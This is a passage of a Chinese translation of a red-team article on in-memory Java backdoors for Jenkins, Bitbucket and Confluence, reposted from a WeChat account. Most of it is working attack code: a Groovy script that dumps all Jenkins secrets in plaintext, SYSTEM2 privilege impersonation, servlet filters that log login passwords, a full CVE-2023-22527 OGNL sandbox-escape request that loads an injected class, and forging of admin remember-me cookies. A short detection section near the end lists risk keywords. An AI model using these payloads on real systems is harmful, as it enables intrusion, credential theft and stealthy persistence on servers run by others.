import com.cloudbees.plugins.credentials.impl.CertificateCredentialsImpl
import hudson.model.ItemGroup
def stringify(c) {
switch(c) {
case BasicSSHUserPrivateKey:
return String.format("id=%s desc=%s passphrase=%s keys=%s", c.id, c.description,
c.getPassphrase() != null ? c.getPassphrase().getPlainText() : '', c.privateKeySource.getPrivateKeys())
case UsernamePasswordCredentialsImpl:
return String.format("id=%s desc=%s user=%s pass=%s", c.id, c.description,
c.username, c.password != null ? c.password.getPlainText() : '')
case FileCredentialsImpl:
is = c.getContent()
if(is != null){
byte[] buf = new byte[is.available()]
is.read(buf);
content = buf.encodeBase64().toString()
} else {
content = '';
}
return String.format("id=%s desc=%s filename=%s content=%s", c.id, c.description,
c.getFileName(), content)
case StringCredentialsImpl:
return String.format("id=%s desc=%s secret=%s", c.id, c.description,
c.getSecret() != null ? c.getSecret().getPlainText() : '')
case CertificateCredentialsImpl:
source = c.getKeyStoreSource()
if (source != null)
content = source.getKeyStoreBytes().encodeBase64().toString()
else
content = ''
return String.format("id=%s desc=%s password=%s keystore=%s", c.id, c.description,
c.getPassword() != null ? c.getPassword().getPlainText() : '', content)
default:
return 'Unknown type ' + c.getClass().getName()
}
}
for (group in Jenkins.instance.getAllItems(ItemGroup)) {
println "============= " + group
for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, group))
println stringify(cred)
}
println "============= Global"
for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, Jenkins.instance, null, null))
println stringify(cred)
实现执行 Groovy 脚本的功能确实很有用,尤其是当通过利用前面提到的 RCE 链之一注入内存中的 webshell 时,因为注入的代码将从未经身份验证的用户上下文中执行。为了能够通过 Groovy 脚本在 Jenkins 上执行特权操作,应该调整此功能以模拟特权用户。
实际上,Jenkins 内部定义了一个名为SYSTEM2 的特定经过身份验证的用户,该用户被授予所有权限。Jenkins 上的身份验证是使用Spring 的身份验证核心功能执行的。
当前已验证的用户存储在 Spring 中SecurityContext,可以从中检索其当前实例SecurityContextHolder
。
Authentication从null或ANONYMOUS在替换当前实例SecurityContext足以模拟SYSTEM2用户:
String script = (String) args.get("script");
ClassLoader ctxLoader = Thread.currentThread()
.getContextClassLoader();
Object SYSTEM2 = ctxLoader.loadClass("hudson.security.ACL")
.getField("SYSTEM2").get(null);
Object securityCtx = ctxLoader
.loadClass("org.springframework.security.core.context.SecurityContextHolder")
.getMethod("getContext").invoke(null);
Class authClass = ctxLoader.loadClass("org.springframework.security.core.Authentication");
Object oldAuth = securityCtx.getClass().getMethod("getAuthentication")
.invoke(securityCtx);
Method setAuth = securityCtx.getClass()
.getMethod("setAuthentication", new Class[]{ authClass });
try {
// Impersonate SYSTEM2 (full privileges)
setAuth.invoke(securityCtx, SYSTEM2);
Class scriptingKlass = ctxLoader.loadClass("hudson.util.RemotingDiagnostics$Script");
Constructor scriptingConstructor = scriptingKlass
.getDeclaredConstructors()[0];
scriptingConstructor.setAccessible(true);
Object scripting = scriptingConstructor.newInstance(script);
Method call = scriptingKlass.getDeclaredMethod("call");
call.setAccessible(true);
String res = (String) call.invoke(scripting);
result.put("res", res);
} finally {
//revert auth context
setAuth.invoke(securityCtx, oldAuth);
}
从那时起,Groovy 脚本将以完全权限执行,无论向 webshell 发送 HTTP 请求的用户是否已经通过身份验证。
拦截凭证
最后,对于 Bitbucket,Jenkins 使用/j_spring_security_check端点来验证其用户,并且可以配置 LDAP 目录。从我们的自定义过滤器中,我们可以轻松拦截此类请求并记录纯文本凭据:
public class CustomFilter implements Filter {
// [...]
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
if (/* [...] */) {
// [...]
} else if (request.getRequestURI().equals("/j_spring_security_check")
&& request.getMethod().equalsIgnoreCase("POST")
&& request.getParameter("j_username") != null
&& request.getParameter("j_password") != null) {
logCredentials(request.getParameter("j_username"), request.getParameter("j_password"));
}
} catch (Exception ignored) {
}
if (filterChain != null) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
// [...]
}
通过模板注入加载
Confluence 是 Atlassian 开发的一款协作工作区软件。它旨在帮助团队有效地协作和共享知识。Confluence 提供了一个平台,用于创建、组织和讨论文档、电子表格、项目计划、会议记录等内容。它通常与其他 Atlassian 产品(如 Jira、Bitbucket 和 Trello)结合使用,以促进软件开发和项目管理不同方面的协作。
语境
2024 年 1 月,披露了 一个影响 Confluence 数据中心的 SSTI 漏洞,编号为CVE-2023-22527text-inline.vm 。通过向Velocity 模板发送请求,无需事先身份验证即可利用此漏洞。此模板使用该方法从请求参数执行直接 OGNL(对象图导航语言)扩展findValue。本文16提供了根本原因的解释和 PoC 。
此漏洞可用于入侵托管它的服务器并执行网络转移。但是,对于 Bitbucket 而言,如果此应用程序托管敏感资产且仍被合法用户使用,则首先入侵它及其托管的资产可能很有意思。此外,如果传出流量被过滤,并且如果应用程序以非特权用户身份执行,则可能需要使用应用程序本身窃取数据。
破坏它的最简单方法是通过 Java 代码与其运行时进行交互。Confluence 内部使用以下依赖项:
-
Struts2.
-
Tomcat embedded.
-
Spring.
利用此漏洞注入内存有效负载已在本博客文章17和 PoC 18中描述。但是,我们将演示一种略有不同的方法。
注入内存有效载荷
在以下请求中,我们使用 OGNL 诡计来绕过长度限制,但不延长长度限制:
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1341
Connection: close
name=Main33&label=<@urlencode>textu0027+(#p=#parameters[0]),(#o=#request[#p[0]].internalGet(#p[1])),(#i=0),(#v=#{}),(#parameters[1].{#v[#i-1]=#o.findValue(#parameters[1][(#i=#i+1)-1],#{0:#parameters,1:#v})})+u0027<@/urlencode>&0=.KEY_velocity.struts2.context&0=ognl&1=@Thread@currentThread().getContextClassLoader()&[email protected]@getDecoder().decode(#root[0]["clazz"][0])&1=new+net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})&[email protected]@create(#root[1][2],"loadClass","")&1=#root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()&clazz=<@urlencode>yv66vgAAAD0AIQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BAAtDb25zdHJ1Y3RvcgoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVggAFgEADFN0YXRpYyBibG9jawcAGAEABk1haW4zMwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAITE1haW4zMzsBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAtNYWluMzMuamF2YQAhABcAAgAAAAAAAgABAAUABgABABkAAAA/AAIAAQAAAA0qtwABsgAHEg22AA+xAAAAAgAaAAAADgADAAAAAgAEAAMADAAEABsAAAAMAAEAAAANABwAHQAAAAgAHgAGAAEAGQAAACUAAgAAAAAACbIABxIVtgAPsQAAAAEAGgAAAAoAAgAAAAcACAAIAAEAHwAAAAIAIA==<@/urlencode>
该payload分为四个部分:
-
该label参数利用OGNL注入并逃避受限制的Struts2上下文。
-
POST 参数数组0,使得label负载更短。
-
POST参数数组1,定义最终执行的复杂有效载荷。
-
补充POST参数,用于向步骤3有效负载传递参数(例如clazz和name)。
以更易读的方式,该label参数注入以下 OGNL 有效负载:
// #parameters[0] = {".KEY_velocity.struts2.context", "ognl"}
// #parameters[1] = {"3*6", "@[email protected](#root[1][0])"}
#p = #parameters[0]
#o = #request[#p[0]].internalGet(#p[1])
#i = 0
#v = #{}
#parameters[1].{
#v[#i-1] = #o.findValue(
#parameters[1][(#i = #i + 1) - 1],
#{0:#parameters, 1:#v}
)
}
它逃离沙盒,并使用带有委托的集合投影(参见文档和本博客文章19)来评估 POST 参数数组的每个元素(或有效负载行)1。label有效负载还存储在沙盒外执行的每一行的结果,并将此结果数组传递到参数中#root[1]。最后,它在中传递当前请求的 POST 参数#root[0]。
即使 Struts2 上下文被转义,该类OgnlRuntime仍然限制可以调用哪些方法:
package ognl;
// [...]
public class OgnlRuntime {
// [...]
public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
if (_useStricterInvocation) {
Class methodDeclaringClass = method.getDeclaringClass();
if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)
|| AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method)
|| SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method)
|| SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method)
|| AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass)
|| ClassResolver.class.isAssignableFrom(methodDeclaringClass)
|| MethodAccessor.class.isAssignableFrom(methodDeclaringClass)
|| MemberAccess.class.isAssignableFrom(methodDeclaringClass)
|| OgnlContext.class.isAssignableFrom(methodDeclaringClass)
|| Runtime.class.isAssignableFrom(methodDeclaringClass)
|| ClassLoader.class.isAssignableFrom(methodDeclaringClass)
|| ProcessBuilder.class.isAssignableFrom(methodDeclaringClass)
|| AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
}
}
// [...]
}
通过调用 Spring 可以轻松绕过它MethodInvocationUtils
。
最终的有效负载存储在 POST 参数数组中1,使用ByteArrayClassLoader
Confluence 包含的自定义类和 Spring 来调用的MethodInvocationUtils
过滤方法:loadClass
ClassLoader
#root[1][0] = @Thread@currentThread().getContextClassLoader()
#root[1][1] = @java.util.Base64@getDecoder().decode(#root[0]["clazz"][0])
#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],#{#root[0]['name'][0]:#root[1][1]})
#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","")
#root[1][4] = #root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()
这个有效载荷可以扩展来定义需要的任意多个类,在POST参数数组中指定classes
:names
#root[1][0] = @Thread@currentThread().getContextClassLoader()
#root[1][1] = @java.util.Base64@getDecoder()
#root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],false,#{})
#root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"defineClass","","".getBytes()).getMethod()
#root[1][4] = #root[(#k=0)]['classes'].{#root[1][3].invoke(#root[1][2],#root[0]['names'][(#k=#k+1)-1],#root[1][1].decode(#root[0]['classes'][#k-1]))}
#root[1][5] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],"loadClass","").getMethod()
#root[1][6] = #root[1][5].invoke(#root[1][2],#root[0]['main'][0]).newInstance()
请注意,只要 Confluence 加载了脚本引擎,也可以在此处使用脚本引擎来完全绕过沙盒。GitHub 20上的 PoC和一篇文章21依赖 JavaScriptScriptingEngine来利用CVE-2022-26134并在运行时注入自定义类。但是,此类引擎似乎在 Confluence 和 JDK 17 上不再默认可用。
与 Confluence 交互
Confluence 与 Bitbucket 类似,也是 Atlassian 开发的产品,我们可以发现它们之间存在一定的相似之处。值得注意的是,其他研究人员此前已经发布了22 23个旨在执行后利用攻击的 Java 类示例。
将内存后门注入 Confluence 可以利用 Bitbucket 部分中概述的相同技术。由于 Confluence 是基于 Tomcat 构建的,因此该过程涉及注册新的Valve,从而能够利用现有代码库注入后门。从上一节介绍的 SSTI 的利用中,可以StandardContext利用 Struts2 的 访问 Tomcat 的。实际上,后者可以从处理 Web 请求的线程访问,可以通过对不同字段进行一些反射来获得ServletActionContext对实例的引用。StandardContext
ServletContext svlCtx = ServletActionContext.getRequest().getServletContext();
Field field = svlCtx.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(svlCtx);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
return (StandardContext)field.get(applicationContext);
参照此上下文,可以按照前面描述的方式注册 Valve。
但是,Bitbucket 和 Confluence 在访问组件的方法上存在显著差异。Bitbucket 使用@ServiceSpring 框架中的注释来注入依赖项,而 Confluence 采用实例管理器。便于访问应用程序内各种类的主要组件是ContainerManager。它维护对其他类实例的引用,可以通过它静态检索这些引用,如下所示:
UserAccessor userAccessor = (UserAccessor) ContainerManager.getComponent("userAccessor");
for (User user : userAccessor.getUsers()) {
System.out.println(user.getName())
}
这使我们能够访问并与任何 Confluence 组件交互。
生成身份验证 cookie
使用该类ContainerManager,我们可以访问不同的类来生成remember-me cookie,就像对 Bitbucket 所做的那样。此技术已在两个 GitHub 存储库22 23上发布。
通过访问该类RememberMeTokenDao,我们可以remember-me为任意用户生成新的 cookie:
DefaultRememberMeTokenGenerator generator = new DefaultRememberMeTokenGenerator();
RememberMeConfiguration config = (RememberMeConfiguration) ContainerManager
.getComponent("rememberMeConfig");
RememberMeToken token = ((RememberMeTokenDao) ContainerManager.getComponent("rememberMeTokenDao"))
.save(generator.generateToken("admin"));
String cookie = String.format("%s=%s",
config.getCookieName(),
URLEncoder.encode(String.format("%s:%s", save.getId(), save.getRandomString()))
);
// seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df
然后可以使用该 cookie 来获取经过身份验证的会话并管理应用程序:
$ curl -kIs -b "seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df" http://confluence.local:8090/admin/users/browseusers.action
HTTP/1.1 200
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1712744566388
Set-Cookie: JSESSIONID=960285A70EAA39C4F21CAE9530A873F3; Path=/; HttpOnly
X-Seraph-LoginReason: OK
X-AUSERNAME: admin
拦截凭证
对于 Confluence,身份验证表单使用/dologin.action端点。例如,当提交表单时,将执行以下请求:
POST /dologin.action HTTP/1.1
Host: confluence.local:8090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
[...]
os_username=admin&os_password=admin&login=Log+in&os_destination=%2Findex.action
通过提取正确的参数,可以从后门拦截凭证,就像对 Bitbucket 和 Jenkins 所做的那样:
Map<String, Object> creds = new HashMap<>();
creds.put("user", request.getParameter("os_username"));
creds.put("password", request.getParameter("os_password"));
检测
对于蓝队成员来说,识别内存中的 Webshell 可能具有挑战性,因为磁盘上没有留下任何痕迹。这意味着检测此类负载的唯一方法是通过行为分析,这本身就很困难。监控这些软件实例的子进程是一种很好的方法,因为它可以帮助捕获应用程序执行的命令,无论是来自ProcessBuilder还是来自Runtime.getRuntime().exec(…)。
如果您怀疑托管 Java 应用程序的服务器可能受到攻击,则可以使用 copagent 24工具提取敏感类。有趣的是,后者还利用 Java 代理的功能来提取所有已加载的类:
$ java -jar cop.jar -p 7
[INFO] Java version: 17
[INFO] args length: 2
[INFO] Java version: 17
[INFO] args length: 4
[INFO] Try to attach process 7, please wait a moment ...
该工具具有要提取的敏感类别的内置列表:
List<String> riskSuperClassesName = new ArrayList<String>();
riskSuperClassesName.add("javax.servlet.http.HttpServlet");
List<String> riskPackage = new ArrayList<String>();
riskPackage.add("net.rebeyond.");
riskPackage.add("com.metasploit.");
List<String> riskAnnotations = new ArrayList<String>();
riskAnnotations.add("org.springframework.stereotype.Controller");
[...]
当一个类匹配时,它会在本地被提取出来并添加到文件中.copagent/results.txt。下面是我们后门加载的两个类的示例,由于它们扩展了该类javax.servlet.Filter,因此它们会被提取出来:
[...]
order: 281
name: org.foo.bar.Class1
risk level: normal
location: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class1.java
hashcode: 6e6bb856
classloader: org.foo.bar.a.a
extends : org.foo.bar.a.a@8f2ef92
order: 282
name: org.foo.bar.Class2
risk level: normal
location: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class2.java
hashcode: 66bd3ba5
classloader: org.foo.bar.a.a
extends : org.foo.bar.a.a@8f2ef92
[...]
请注意,风险级别评分基于该类执行的一些方法调用:
List<String> riskKeyword = new ArrayList<String>();
riskKeyword.add("javax.crypto.");
riskKeyword.add("ProcessBuilder");
riskKeyword.add("getRuntime");
riskKeyword.add("shell");
然后可以在本地访问已编译的类:
$ ll class/org.foo.bar.a.a-8f2ef92/org/foo/bar/
total 16
4 drwxr-x--- 2 confluence confluence 4096 Apr 10 14:26 .
4 drwxr-x--- 3 confluence confluence 4096 Apr 10 14:26 ..
4 -rw-r----- 1 confluence confluence 3285 Apr 10 14:42 Class1.class
4 -rw-r----- 1 confluence confluence 1377 Apr 10 14:42 Class2.class
结论
我们最近在红队交战期间采用了这些方法,凭证拦截方面被证明非常有价值,极大地帮助了我们的入侵工作。最终,我们成功获取了属于特权用户的凭证。鉴于某些服务可能与 Active Directory 相关联,获取这些凭证可能会授予对内部网络的特权访问权限。
对于蓝队来说,识别此类后门是一项相当大的挑战,尽管可以通过某些工具实现,但这个过程是手动且耗时的。此类攻击已经在现实世界中被观察到25 17 次,攻击者可能已经使用过此类后门。这些类型的软件经常成为攻击者的目标,因为它们包含大量信息,攻击者可以利用这些信息继续入侵或窃取敏感数据。
https://www.synacktiv.com/publications/java-deserialization-tricks
https://github.com/notdls/CVE-2022-36804
https://www.rapid7.com/db/modules/exploit/linux/http/bitbucket_git_cmd_...
https://blog.frankel.ch/jvm-security/4/
https://fahdshariff.blogspot.com/2011/08/changing-java-library-path-at-…
https://blog.csdn.net/weixin_55436205/article/details/130323614
https://mp.weixin.qq.com/s/OLNznd14NlzEzeGelRLV9g
https://github.com/thirdr3am/ZhouYu/tree/main
https://github.com/rebeyond/memShell/tree/master
https://github.com/rapid7/metasploit-framework/blob/master/modules/expl...
https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticat...
https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic…
https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthentic…
https://github.com/orangetw/awesome-jenkins-rce-2019
https://www.codurance.com/publications/2019/05/30/accessing-and-dumping…
https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-...
https://vulncheck.com/blog/confluence-dreams-of-shells
https://github.com/vulncheck-oss/cve-2023-22527/tree/main
https://www.pingidentity.com/en/resources/blog/post/looping-in-ognl.html
https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL
https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
https://github.com/CrackerCat/PostConfluence
https://github.com/BeichenDream/PostConfluence
https://github.com/LandGrey/copagent
https://blog.cloudflare.com/thanksgiving-2023-security-incident/
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):注入 Java 内存有效载荷以进行后期利用